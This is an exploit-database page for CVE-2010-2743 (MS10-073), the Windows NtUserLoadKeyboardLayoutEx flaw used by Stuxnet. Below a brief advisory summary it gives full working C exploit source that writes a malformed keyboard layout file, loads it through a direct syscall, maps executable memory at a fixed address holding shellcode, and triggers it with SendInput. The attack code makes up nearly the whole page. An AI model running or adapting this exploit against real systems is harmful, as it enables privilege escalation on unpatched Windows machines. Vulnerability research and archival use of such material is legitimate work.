header-logo
Suggest Exploit
vendor:
Windows
by:
ReverseMode
7.5
CVSS
HIGH
Shellcode Injection
94
CWE
Product Name: Windows
Affected Version From: Windows
Affected Version To: Windows
Patch Exists: YES
Related CWE:
CPE: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
Metasploit:
Other Scripts:
Platforms Tested: Windows

NtUserLoadKeyboardLayoutEx Shellcode Injection Vulnerability

The NtUserLoadKeyboardLayoutEx function in Windows allows an attacker to inject shellcode into a process by manipulating the offTable parameter. By passing a specially crafted value for offTable, an attacker can cause the function to execute arbitrary code.

Mitigation:

Apply the latest security updates from Microsoft to prevent this vulnerability.
Source

Exploit-DB raw data:

// My koala is staring at you  CºgºD
// Source: http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>


#define MAGIC_OFFSET 0x6261

#define InitializeUnicodeStr(p,s) {		\
     (p)->Length= wcslen(s)*2;			\
     (p)->MaximumLength = wcslen(s)*2+2;	\
     (p)->Buffer = s;				\
     }


_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
   IN HANDLE Handle,
   IN DWORD offTable,
   IN PUNICODE_STRING puszKeyboardName,
   IN HKL hKL,
   IN PUNICODE_STRING puszKLID,
   IN DWORD dwKLID,
   IN UINT Flags 
)
{
	__asm
	{
		mov eax, 000011c6h
		mov edx, 7ffe0300h
		call dword ptr [edx]
		retn 1Ch
	}
}


unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";

unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
						"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
						"\x00\x00\x00\x00\x00\x00";

int main(int argc, CHAR* argv[])
{
	
	UNICODE_STRING	uStr;

	KEYBDINPUT		kb={0};
	INPUT			vInput={0};
	
	HANDLE			hFile;
	DWORD			dwFuckS0ny;
	
	HKL				hKbd;
	
	WCHAR			lpPath[MAX_PATH]={0};
	WCHAR			lpLayoutFile[MAX_PATH]={0};

	LPVOID			lpShellPtr;



	printf("\n\nStuxnet MS10-073/CVE-2010-2743 Exploit\n");
	printf("Ruben Santamarta - www.reversemode.com\n\n");
	
	

	LoadLibraryA("user32.dll");

	InitializeUnicodeStr(&uStr,L"pwn3d.dll");

	GetTempPathW( MAX_PATH, lpPath );

	wsprintf( lpLayoutFile, L"%lSp0wns.boom", lpPath);


	hFile = CreateFileW(lpLayoutFile,
						GENERIC_READ|GENERIC_WRITE,
						FILE_SHARE_READ|FILE_SHARE_WRITE,
						0,
						CREATE_ALWAYS,
						0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error\n");
		exit(0);
	}

	WriteFile(	hFile,
				fakeDll,
				sizeof(fakeDll)-1,
				&dwFuckS0ny,
				NULL);

	printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
	CloseHandle(hFile);

	hFile = CreateFileW (lpLayoutFile,
							GENERIC_READ,
							FILE_SHARE_READ,
							0,
							OPEN_EXISTING,
							0,0);

	if( hFile == INVALID_HANDLE_VALUE )
	{
		printf(" \n[!!] Error\n");
		exit(0);
	}
	
	hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
	

	printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160, NULL, hKbd, &uStr, 0x666, 0x101 ) );

	lpShellPtr = VirtualAlloc( (LPVOID)0x60630000, 
								0xF000, 
								MEM_COMMIT|MEM_RESERVE, 
								PAGE_EXECUTE_READWRITE);

	printf("\n[+] Allocating memory...");

	if( !lpShellPtr )
	{

		printf("[!!] Error %x\n",GetLastError());
		exit(0);

	}else{

		printf("[ OK ]\n");

	}
	
	memset( lpShellPtr, 0x90, 0xF000);

	memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
			( const void* )shellcode, 
			sizeof( shellcode ) - 1 );

	kb.wVk = 0x0;
	vInput.type  = INPUT_KEYBOARD;
	vInput.ki  = kb;

	printf("\n[+] Triggering shellcode...");
	SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );

	printf("\n[+] Done\n");

	return 0;
}